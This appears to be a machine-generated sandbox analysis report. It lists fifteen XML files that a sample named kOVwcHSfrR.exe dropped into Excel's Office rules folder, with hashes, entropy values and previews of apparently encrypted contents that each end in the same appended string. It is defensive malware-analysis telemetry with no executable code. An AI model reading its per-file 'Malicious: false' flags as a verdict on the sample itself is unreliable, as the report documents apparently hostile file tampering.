Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.645204620819417
Encrypted:	false
SSDEEP:	12:ssBe2i1OUWb4YibQ7zeJU5gi9s1cJ5m5+/KBQH5sZYjKVG59Zm7dKId5nzmM1OZI:jet1OUcCQ7iKKajm5+iBcGYT2hmM1OZI
MD5:	990DD3D164AE35DB3B3E2D889C2BC93F
SHA1:	3B518008CADA3FB05BC0240AB960D4E61689C92C
SHA-256:	071080ED308CA4CF85E8634872919CC01A4FB571576E50EA3B585C8DB42F19CE
SHA-512:	CCE3C99B5676D6EACDFB0A0105389210A214AFB753A6E61DD4F34670B4666246CAA9944D28B6BB3352D551E45186DE9C861D3627904612804C44A980673680F3
Malicious:	false
Preview:	<?xmlQ. P.,.`...h8....4.A.&.w.....(..2..x.&r........\|^T....\|.gN_..#..f..,.4.m.G...Y.Wl.s.6ly....d .3I-O.aY..#..$....(;&..ZN....8`m.\|.1Mp..F...U.Y.O....\|_e]...6.Ir!yF$i.......".]$.TL?j...p9af....)C36.Yg...l.....U....v.......,.9...8....".b....Z.L.w.........P.8O=G%......).3.l7...L&.b...<[.q..G.YKN:.......Fa.B^. .7...S..e..1H.Z{..$..e....E.....b...O8..'.w..FZ<SNp...n~.s.........g....>.Z...3..5(..g...[2%....}.8.2..........2D.?.]0....b......;..g#...2._3._.....Gu.u..U...J..~.U..v./...G.1?-...B.(.I^Dis.,A...M..{..z)...6..B....6N<#E..S&c..a.~`#.nH...kE'.....H.....=./q.?...O....^.p.9.:.......b,U.M0E.iINx...L.U..?....0..c...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120644v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.7008741488567205
Encrypted:	false
SSDEEP:	12:cXYj6/Z6CGcdj14cDXDNreAsC7DTjUJRAAWeQ5C9IpTW4JZdooqw1cii9a:cXglZC5DThf7DTjUJAeQ5C9uTlMw1bD
MD5:	BEFD0979DD3DED7B7859719DE722147B
SHA1:	711B372D82E626E4C500010EDC269A061CB231EC
SHA-256:	D6F6DFBBF037B6643A85D9415B805C20D18335EDF756AA25B9FD30566C192657
SHA-512:	103C686B3866A7E01A0123F8A0436D1678AF07CA378AC2A89ED679B6E4936C538412BC3345B143C0E98AED9CC32F9C9FB815ED2316EDA43FFA926D1BF6142BAB
Malicious:	false
Preview:	<?xml.(_..i....w.o',..\|....uH.@...u..=.M.c....O..t..m..D.Q.a\|..!..jP..Qo..}...W\.......\....q.+Y.[B[..Hs.\+..E.O.a..e.#..Z.OHi..D..L.(;...._8)...Yb...R.`b..s.}U(.E....?...=F..0..M.....R..3.............].2.....H.....y..........qQB..Z>?P...sf....._.kM.ad.Y^k.3..R........q.K1t...w$./!..[MB..~s...g.].).R..x....v.oq.n@.ziy.gzE.D.....n\.97..m+..@we.J.6`...Y~h.z...Y.s....H.{._..p..Jt....'3.Fn5mi...u.y...."W.....z.b....C=xk...........aD\...`..E....#[Q.....)[jrv7...{P.g".....c]..._..L......e.?..].ors..w.5x.>Ul$P-....x$.H...30[.zF.l.D...w.t.......MM<.2j..A.(.Oo..~........Q..[/+/...-S1.>.$m?>".....n...u.m.l.+.}.w..?U-.d.^...I.@j...4R.v.',..W.(%........-..O....H.....%.?..K?.d.H...ye...\|.Z7..2#/r`n....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120645v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.702167593724442
Encrypted:	false
SSDEEP:	12:IOy/+cxe1k8NJ35reFCErgcE6/7URuQ+SJmJIbs4nUnYv6RMKrWmQ/yRQvYxboqa:IP2cszNJ356Fz0cT/8cCs4oYC3rWmQKI
MD5:	DA036B8060215DF262451A7DEE90E21E
SHA1:	C3E8DD7D8A655933C564FB759691808B58339B32
SHA-256:	6C32AD2B9D843EACE554415B0802B5CED8496E5D2E11AB057652663C7CA16B92
SHA-512:	CE77B3BDAD003D06F3AE355F121D263A4F4E8BCE51111A7A0E191942DE01D1BAD0AF555AA3A3BF5ADEA7C9E6124B19AED692D4C958B2976290895EF7D4DBB009
Malicious:	false
Preview:	<?xml7FmRk..AD+\|...4)V...xeF...`...^.<.2..X.a8>...B.D....b[..s..u6..V.tP.....2..s..&-B...Ff.......e...8.M5.^....5....8f.N.=P.o @..x.}.j...BXC5yc........CgQ5..\?.....{..@.+.u......9.../y.U...mz.......-.Cu{..F.......M...>.i.'.#.4N"l2.I...s.)[fc..v.r....;.hui.O1_...H4......e....c9S]. (8..J..R8.W...U.Y..X...9.u.#/kX-,..3......\4.kC...............=`,'......\|....t.y.tZ...c..dX..?..<...e......B...P..<.%....+./...G..f./...i../..}.E...W.pa...@..k....x:.O..#qj..X.......$...xF..o.(.#..,..@&...x"..D.'..-M.&J..QdQ.@..$...T.o7.4.Mjns`c......c.v...._.%..~T..n..8....)dT:..rq`........Gw..j..t..)S..[Y.i...%.}.Y5...G....)....5!....U..4.5N.uvv}...\-w.=0z?..D^.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120646v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.7380784216439995
Encrypted:	false
SSDEEP:	24:xg2GTlv/7ZNRRhYzhcZbPqJdjkFWX7PcGw1bD:xa1FjMKadjkYX7PcGyD
MD5:	770B9993EB2D07841781EC1A7294193B
SHA1:	25D8BD96B5508F7FA295512D040F86AFB49CE095
SHA-256:	6AAD2CEC9240C574562D7B9D8139F54EA046363DF021411DCCD1B5D59CC52407
SHA-512:	CCDB4DB3564E90D47889B23FF0733A18C148A5146E94BAF21223AAC4B8F606CBEF6D70E380840931CFBD53F6B14C748C69EB4E3B754AF5DC92999F4B481FD0B1
Malicious:	false
Preview:	<?xml..L. .%.P..A...h.d....@.pn.m.]L5.fP.[...ak!..~...n.Q[5S..V.....&..J\...9.....hM;O...s.d.]b..TM......q.....].j.:......q.1-..#...3.......!.I9..b......CN.(.<z..\..F.D7.r..pE7.r..F..j./c.:(.....3>rI....t[.Bde.LPI."...)T.g.......6KJ+..N_!...n.J../.e\|.$.Lsg....j..H......h...hd...].[.C....).O@.bw.Go..!n&..W.R.d.H)3.......vJY...8..(...&.........x.....9.L .y._....C.RD......}...)..Ea.Vu.~.8.'#.sh.#?%.w.~#..7....i...VA.......6..sdh.'...;..7.`qNQ+@J..P\`C...........U90:OJd.y.7..c......\|....J.ou.3j..........3jP\|.._....!.lZi....GH........3[......A..zC....7.V..!'G....u.vX...is=<..s.B.....,.{.....4..*0..^.DAo......?a.]>. .w.T....A.~.<6......x..WIWxD..y>..^-.nX~.E6....h.=..v3...../.\|lE.:O.,.......VTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120647v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.716964085964987
Encrypted:	false
SSDEEP:	24:qOIJ3+5Mw7SZywR84eYxnKhhEJ8Tcv/w5wHuw1bD:qjt+5MOTaxKhhEJ2fVyD
MD5:	BABD59F09F0413E2594A11E65F245DAF
SHA1:	EA0EA7AC96D118F068A861DC4AAE89DFE5CCA236
SHA-256:	3712C4BE2FF7D025F321124493589370124D6FCBF32330B813AE5A882B0559F0
SHA-512:	8D07113C5076EEBFBC9B5EF5D2D92A03566CB5A87F430A9AB8FC2927FE6D92991FC5074F28D4803B12AE7F1E6FC3277B66FF311794A86DEAFC094635FF54EB30
Malicious:	false
Preview:	<?xml.8,.k'g.mn.N.w...b.Hh.,.....Y.....t..3F."3j...w.7N.?...4W[.d.x............\|.I.p..h]...[n.u...i6D"..;..{[...S.?;p...f.~......?..8X.,)..JNf ^P.JK..E./.\|V".q..P..=q...F;#..6..,_...(.......e..l.".........t....iO./l.....=.}..X...._....I(w.t#E'..v.h.........u.7<........f........k.W.-.p.Z.P\|_P.3..`..(~.R.c..?...u......Ir... .....d`.J....g6.9..`.o....^....wb....f7p\k8.x...jOH)DB...KC.\|='..x.y&...z..tI.?.X=..%@4.2f...&.I..`..a].\u..E....&....c...j...@.y...6.f]E0.OR.G...&F.?.W....L..R.Qq...8s.q.....A!.W>....J...I. ...d..L....Fq.U.4r.......4..r.[oXWkA....~.`..6D..a......e.$.S....^...X..3.V.F...m...v.....D/).'M#.i..0..B.d.d..z..."..~.d`.Z)...~.n...I.v.w.g...#./f..Z...M..i.9.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120648v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	824
Entropy (8bit):	7.729132543905439
Encrypted:	false
SSDEEP:	24:4cv32gsefEH3F81xCc8EFBysTBLAB1JgY06lVw1bD:LvyH3r/EGkBLABQayD
MD5:	A8BD6A891F2C14D607F04BE03175614D
SHA1:	5383AD9E2D56D9B276507EB02EED95B237A4D551
SHA-256:	A334295AAAB9F9D4F323EC0C36CE611565B270634AA5666D3EA803AB292A178A
SHA-512:	D085E30127CB902E0529988F8CA24C6EEE10FD2D6C4E5B0A8F0790B9EE155CEDC5645A75B41CE8F7FF59AE2CE5DA5C7EB7A2C16A08CF4132B5934900F989B8F1
Malicious:	false
Preview:	<?xml...S4......f..-[X@..d&%t..X.2(...V_..a.r.l.d"h.9fi...!.rU........9........R..7....}S....H.&DH=..@..k.H.).y..n1I..j..Yi.jC%.K}.h.\I....f.c....L.61...Y...n...l6.N.Z..y..5.@N......f.Fv..\|)3.>e....HwKG.n...]...o9...Z.x..3M<D............Q.`L.E.-....9.s..<.H=k...M...o:...."...c^~N...D`J.Qr..)....V..CGt..YR....S.x.....8L(.......!..J.1#.$..P#.x..=......o..w[...h^.\|DT.=..dg.......yuL.PO.:..c...wJ.....Dfe.Z..>l......".9EX8.mh.(.p.Or..l..\|K./.........m-K?w.rt...M..7...Y..9.......HR...;u.L....\|...7.nV.})...L..9.{._/...x...^.&.A.C..s.c....&..DN..M.....0a<!...]....R.M#.......9.>..n.~WE.`..O.K..t..-..s.....&A.y.8..o...Izn.t.2..~...6..Y.......G.9V......1...{t.#.$..TM...t...<..K.W..i.../..e...d.0.v[hI.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120649v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.694854134416454
Encrypted:	false
SSDEEP:	12:Q/B+HC5aQH81dlUTLjxUQlgybH84XKkBJShmEn0ky0Yhc7QelMoG3Oe1msoqw1cq:QJ+iIQc1LmLVUnyY41BJkmY010YhCJma
MD5:	9D11D69BA1492E9BD9BFF074C4D8CB73
SHA1:	EB412BA963EE6F792082F66B4846B4AC2439C667
SHA-256:	68AC057C9172AD4790CC7971F7030B875275119E3CC6A2849C1CD222AD63458E
SHA-512:	D65945258773B45F6EC2630E95CC40F561A896C8493F7FFA2622ACC3A494F0FD68E26562EEEF826A8D809B9F51434980DB68C81F50C14535EFED828C53186C19
Malicious:	false
Preview:	<?xml.~\.w.Ax.E...z.?.r.6-t...:......l..d^.....t..O.QJ...X]..N....,;8..M.P........u....P..7.].H!.......w_\.......r....\\|c.%......k.f....t=cz.~..........na..C..e$.2g.w...?....&,.-_5..#c.....>....)V.X...8.......k..h.d.$UtU...y...%..75k^P.....o9?..C...:......f......8...X~&.......]I6..cH...l..0.0]...&c...q..m'.h.{.H..((.qF.t(.,....On........z.......\|.O.~.\....[...m9..N.<.8.h.......*.5.> ~..W.2.....N...D;..3.-...B.e<C....uEUy52z.q..b..,.....]'#......o'.q.iX.eF..F.;.J...i..h`4s..$[.{A.......hE.X5.........$g.h...5.BC.j...M..l.~$..R.\|..gQ..M[.d.\|.......s.9..`.n.!.....K.eF.C.e.r...L.....+O.1.}.-C..b...".^.1.XzR.%,.M..)..z..3.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120650v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.73226898363585
Encrypted:	false
SSDEEP:	24:HKkFMNjuCWji/YQlv17vrgyQQRWT+XTFw1bD:lFMNiCWW/bJRjdfg+XJyD
MD5:	EBB28CE5113B011D45B01F60B2AD5CFD
SHA1:	760B4B432017FDE7B803D6D9AE34C45F929F5F88
SHA-256:	5F378CB8D9F71B2EB0E60631ED50D61D8516F1DEE394ACD583E8A6199D22CA77
SHA-512:	BB54C3A88D44E6C2368CD084716897D977446CF29A1964F2B4E58C23A00607433856D9670D189111E1782F5B6E4B214F172E7663D1E7456A0D7AB985B8FB37D9
Malicious:	false
Preview:	<?xml........7z..8!&;O........f.l+(..7...cc.rJ.%.-b......`@...2=).-....S.....mb..kz.Y.O.......1..........,..........dU.L.....a.T......z....o..5.p...N{.w4.Y...).K]....E..8f....p...A.m`~.I>.7.8.c..AR.....K-..1.9...w...b..r.....#x..UEB..j..-.XH2s....^.,os...sa..\|..l...M>....v>..Q..9....t...^!@ W)">..&m...N> ....D.._......P.&.....Jy..d.4O.3.....q@......tv3.x.}....z......?!...+..z..LZ[....\.A?.fGlZ..,...o$%...'...(.(G$'VP<..~..fB..%.%.F...?.W...W.p1.....%.[..(...D.._.u}e\|C...U....OP..m.3.=b~...8...]m.@*.8..F.6C..,..&4..aqb.``.t... ;..J.r.....U.X.j.a..\|......t.-......1w..!..7A..\<cj].u...'=L..9.N....5.9.VT.u_Z{...3Oh...@.)oQ;7.k&..U.t.,2.jT# ......@>1?.W.M.....Wk...f....l...5+.D............".&qTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120651v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.6848485341801975
Encrypted:	false
SSDEEP:	12:DwrSI3kDizE8PF77wCtwZXXfCey/IwNwObtVweqOGDueSmXJjRzAsUNlnbzCXIsz:DwcSF7MCt2Ce2IwuObI28zo/aXIs8w1X
MD5:	D3708C5E7A159D22C8F9EBEED5F396EC
SHA1:	5E2C945CD3E2E1B3BBFD3E284FC51CC0E14B6A36
SHA-256:	9ADDC009F2EBA7EC48E8F2A3CAF766A69280E3D38B088526D829ADF7F6C95E06
SHA-512:	B54DFB44560F3556D3D4B3D2E188C334301C23A4D709525DA5FF6682F10881E06098EFC119D8B410EBD370C7CDAA52A1177323CA89447E56CCD35EDC3D465360
Malicious:	false
Preview:	<?xml..x..h.e.>......Ec5....k....hN2....{l.h]..6.7..<..,.I.=.Z...?R.....=jb..G.... ....(PZ.......\....8..>..k.nf..;..e..../.'.f.....T..9...\......@wK.r..].Q..x.[......S.i.$Ht...a......R...dP...zP.E.......OTC.8..../......y......M.....]@.M.....jz.P.....\...xX.x...>..q@.H...T.N.e'.4..@....E..+D5OGU..9`,!..g...n.(9R..\|e@...+.?.k.'.O..G..>3....T.:..Ye..&x.-....v.....k.1...]..SAd....\|f....1.q)/.!..U{....h.~.H...D.........VR..0.Q\|.MQh....!....]Z..}..i..[.N..r_..,....Y..d..OXS<.Pf.C"...".P.5..R..:X..N..<..66.d.RNS....;j]....;.D..;..z...L^...U.\O.6..f...=b.....p.D\.q....P3.x!K..=R.$.....%..,J...e..>Y:........0#/.l.,...].\|..9h..+g.G..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120652v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.729514413513858
Encrypted:	false
SSDEEP:	24:OC5kAIhs+rP6WxLyHpLenrVtV3mHiw1bD:lI9rP6WxYpLotNmCyD
MD5:	A48FF591F48E0B390ACC153E5D475438
SHA1:	9307CC1FF51D8B33B69785EEBEA6F7D88F04741E
SHA-256:	521FEE9B41510AEC8471EC69B95C1476C9DDAAB0878C0E2564749726334C2103
SHA-512:	497F8C66B92C8D7B3C32CB21918E4987C49ECC92CDF6D1EA4B77E8DCEBED881E13BE5310E7BF8CC1B69B2997A4F593BE4B8B3231529E2DD349F4AB1DB048A5AA
Malicious:	false
Preview:	<?xml.m.E..K.....YNw0C.r...Ox]..\.[9z....F#...P_=irR.......X>.....4"?o.t.0.ubX.`....l..wk.F...D/C).]....c.$<.q.......?Y....5..2\.b3..>'..g.+.s.....&.~H..._0......Lctx\|.6...ZR.rB^.D{.B%...@/.%..P.Z.....89......)._.3#.1.Y............p..w..pT.;8...1.~.....U......Z......S...wy.B.}m8....].Qt..\|f.!...k/....Wy.M.K.l...Z.]nY.K...#.,.?..i..m.l.g[....a.[..6^~.)..r..\|7....5....Uh.Ob.a.....c.B...M..`....H.....D...Ich.K..... .......E.?r..).M......D.X.I$2*...2....[!....u....?.Ur3..TS,.d..g!}.q,..9y.4....#xA.I..jj...6.4...(:..^`.y..+..r.h.q/n....nT...afj4/'....k...g.+.TOP....t..&e.j. (.N..>Z................agV....K.<..^.[9..cs.6\|..}.'...M....T.Or.....#e..........Y.E5.E.c..o......SJJ.k.r..z....i.QH...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120653v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.704528459506955
Encrypted:	false
SSDEEP:	12:UWwYG2o3Q4/s6C0qV86zKxzHNWlSIpsHqS4RnxN+hsDYI6a1nZdvs9uExJHNDmsK:UWw64V1TnNE1CKS4RxNwvI6a1ZdviuKW
MD5:	E9F8CD7A5F0F9302E85D6221C051DCDF
SHA1:	05BA740ACD5AB2C9CD09FCA3F74018B28F4C51AB
SHA-256:	CDF602A8D5327BFCD5A480B0C1578351635DE0B0A94265AE287EF571F9DFA873
SHA-512:	A901237C082142221A797B9390D72F809E89D784AF0EEF47E5DCDF5061E978A5DE0674F7B32621E69DF9C73EFF0C538C3CD0BE00454F2F5A5C8CFE1C9ACDA6DD
Malicious:	false
Preview:	<?xml..H...:.S..d....sD#1.......j...{.}.T.c;lu.b..Ft.K.?:...O.2.QLLe...g../..\O.w......O.@LI......Tbx+..fJ....v.BZ....v..H.@..<...9..'m.k.V..>%f\|.....\j.r...B..2C...f\|..2.O..%.A.0..t.e.."ln..+g.......?.Pf:...e.E.N.J.(.4N.H.&.BMBm...}.O.f.3.O\.uU..ZoHW....B.}..#[.U.=ad....@...\...hP\/vl..a./....va5.z.?.!.o.TT.H.HF,.....[vHT.<..y.....&......G.^E.{B.}f..........@...R>.;g`Ns...aC.=..*..d.#0...~{.....>..q.Q......9.N.....6}.........t.._i{U.......,.y..\.?....&x..!v...1@0.T.}......u..a&/.Tr..:..iz.k.~8..Ed#ew[..f..Z...u.......f.^).$.?Qd..GK....X]l....n...~C..I...+.......+.?e..H#.@...X~z#...M...)h..5....Ot.7.w...8....l<@..C....)..0.~..G.~.s..j.f..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120654v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.724522722166465
Encrypted:	false
SSDEEP:	12:hrc3ALoNwtYdycT1M7h1dLp81Rwbdjpb/BdIllAKiOTSQoqw1cii9a:tc3ALHKwcqhjp80dBEiO+Qw1bD
MD5:	31CD8F1F75EB7AFD9C3CD7D5994297A8
SHA1:	B0E63BEE4F513B45496F811263FE955B205D9E01
SHA-256:	3E9116991955F34F567063EC33A7D41776F15C5CA101DE62DA3F7E9B646CDF0C
SHA-512:	C75D952F304888C3876E317A090168E1092255D132EC0EF51B4C88E67E9B8A5546DBCBA1C375C817D6EF0E9A616423A6E0B99AAEF4C77534D54018C7858B1750
Malicious:	false
Preview:	<?xml.X.N..B..,.U..r.s.=1.p3J..w!....1KX.M,..S.........H..s .o..)I....`.^..:H...GP..9....l.,6.i<\.(\...A.t.V....D.@../....t4~.&.$.u.0L...S..P.w.Q......;....\|./=.'^+9.........5..)..XN...5..@.o.Z..1..CP.s...^..1E... .W....J....u...yx."...z[..K....:.A..F.R..U.30J......sd...5.3.H.u.s.HDH...M.{..3g..<JuW.\".W..h.F./.W.Fc6...\|[.l...`. .G8a/...g....p.1....G3..w%S.1.r..\|7Y....9Kb.V3[..u..j..$c....a.......'..l.v..h~'mS:..G..W.h..j..."....r`w.M.-.;r.I..0...-R?h.hp.t....5R......w....+...f.......#;&..3..@....v..U.p......*..G..`-..F..'.Vo-A....rw......./Sq...=#...&n...5..w....[M.S.NP...@..(....A.I-B......2...@.0.Z..RX..Rc......E..N!.....pr..@.Qns....y..b.1..(C^.2x.Tgj..[.......74..:.....xR\...#..Y...G].oTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120655v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.6865047787059675
Encrypted:	false
SSDEEP:	12:igsIfsYmIGxMyOd6K86Zg0GX2Ezc6WU8B5rLDfkAq6LNNgVMTGvoXHVvPcoqw1cq:TZmI8MXdA6EnKHrr0ANNg6K6Vvkw1bD
MD5:	43325FCF23D12B81AD87D3E717A3C032
SHA1:	43D23F6928658B6AFA4986599434AF8340ABB0FF
SHA-256:	44010DB06F81B9C3F48EF3CCE9228470DB42E7E63973E1A5A924197CE611C30E
SHA-512:	483CDF618F62DEE420182DBD310ADFB8DDC170CF8D5B33807E20F914A621CF7FA0B5205B9842CB6EC47366EA32CD924ABC705D48A0A31EF442898CF51BB2102A
Malicious:	false
Preview:	<?xml..........w.r.....i.f...9/....i.....`z:.A.....?g.^u....\|.Z.V.......2.L..K....o...g.TV...S.6l..r.@.....XU..>$2.R....~.}..l.]..^>..~..m..jI....'../%.:.2....5IC.h/N..6.....>,..H.:.@......c....V...^.1v4.W...M...\....../].../..o.0.+A.jJ..R........c..lB>...(.!>v9~..H.).......:<)....h.`.9....J.S..?J._.Kza.m...+M.{.".R.t....S#I.4.'.6s.._g%.G.@..j..J....U.1..M.~...,...[.......B........A.[J.~h@..\|P..0.M\..}...N.7~6..H'.%$.\|.....l.]n.?.z.....4.%....j#...>s..C..T.V./..bh....S.M.?19......qYW.....a.....}....P0Y......lm..M..o.#t..U..3.84.....u.\|....Jwc....n.]..].`..i..V.C\|...X...\..,.../BRg..j..d.';T .b.7\|.=;..&.l].....6u...u...{.....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120656v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.768353896898491
Encrypted:	false
SSDEEP:	24:fHS5Dz/tlHVEUP4kOZNh26IqPOgyi3ww1bD:izPZP4dZ+6IwFyi3wyD
MD5:	16C1FB6AA2B707C09188CBF86D2703E2
SHA1:	20DE31A6A711A8CB0C623A28BF0657E442CAD46D
SHA-256:	3DF012AE624CC44723B5B066A4E0B140D616A334275C933A06E19BDE3A06A0A8
SHA-512:	B07F8FA49665F58B56EC43A2F02882B7E5E1E7A601F6485F619F047500B3BFBEA30320B51C7463E0EFBD1745A44820B0BB5B05C019668366EFEAFBD5BD19B01D
Malicious:	false
Preview:	<?xml....W..P.~DI.<.#)...8{...$.......^.....}.....Q\|..u}.._C.x........]c=...r.%MK.~.L....t.P.....! .?'.>.r8Px..}......)%2...^...c@...".y{..#.U.]vHara..e.?.@....4.P...dZ.L;eP@.[.I.7..Y.F...h.[.0.....;.....(..^..7..T.c1...9.c..X.q...[o....(....Y.L.....m.(..3.#!2i.j.[....%.....,.r.Cl.x.v..@..].`..G...O._n."....J..f..J..X.(.......4G.Dd......B.Op..Sdx..q.%q&......2.....[..Z...)..:....5-m..'..p....o.V.La7uD(.W..k'go.B....Z.s.I._.........R.......i....~P....&..e.c.&. ......qu)..+8.j$...AN.R.+.S6.k......\.._%.g.U....?.B.....M.b....e..EZY..^...Pc<{.(...j.........}s...^e.u..Y...V.,T..x.dk..u...4.PB.;t.......c...h..d..G...I.T.@....3......Gt..V3.l40=Q%.eI...J.\S>1.....o.u...#.........O..i..E.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120657v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.709126812569829
Encrypted:	false
SSDEEP:	12:eU0xCWdsc5Qe2J2ev1wU+9V3/r5XabJGGn/TMcup5jkdtqYPUbowKIunZ5L5gwSe:ehxCWdbuJZvqUK/r5qtGUT6KWt8T+2ua
MD5:	0542A7AE5D006DF59F10B5630762F1DE
SHA1:	FBE64987BCD0FF6D3F51C867C2986F488982B21F
SHA-256:	ABC18B0A8A3252A605618170A2E66B9B7CE76805A20939AD1627853EE10F66A9
SHA-512:	3E20B8BD1A9ECF06205C5D9496A35B824C9C8A65BE19EF378C72EA9736B2BB314225FC8E7280D643D2693EAD59842AE0FBA38267A7E70955019D502C87E340F4
Malicious:	false
Preview:	<?xmlJ...B0.Mlc.Gp........E(1.&.sp.g.k9ve.(.....d.4.[.:.......h.d.:..h..h%...[...$...V]JX.'..A.7t.....D....+`b...e...ml...C..-.]......{..+0.t.A.P~"..-....q.....I.._.H1E..e.r.......jj.,..b.v...G.....y...../..[\.L...Rs.5.....f>.5_Oi.>.....Z.h .&...Ykn....kD...h..R...3^.!/}.^....d...1.I7.j..wI.4X.=..v....u.g.K(..$.<2...~b..X....~.<......5..--*J...-.........3.o.67..o.....M.......\|..A.A.x0q..a._.pL#....=a8.d..U.....v.....>..v.)<.....t.n..;.o.........i.11...}..5......4]sC$.b...7..X..p.........K5..L@..."...;....u.....g....\._7........J....s..E...M..2I..T./.k<6.q.xu...&.....,W.E\a.H.m...!.+5M9#zmE..=..#..{.%:.........]R..\|.e ...4N..q>..L.w.uTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120658v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.719535613425101
Encrypted:	false
SSDEEP:	24:72WSdrcmowMDQgXMyqvBUwJ8wQUcuw1bD:72xabMyqvWK3cuyD
MD5:	1EA4EC0852B49027F4482B63B756250A
SHA1:	10A203344AAEDA51CB3ECBBDCC0DD21850625E7E
SHA-256:	D8D7F835A1BBCFA9B5D0F21FAB4780754AB69DFA54EED23EC1514DA70501412E
SHA-512:	065A8B33DA7151B55CE37DA7DD5ADF220910720EBE40252CAD0329996B63E53148063B398940550501AA361B35CC38F78588BB592049130C1A300577B08AB5F1
Malicious:	false
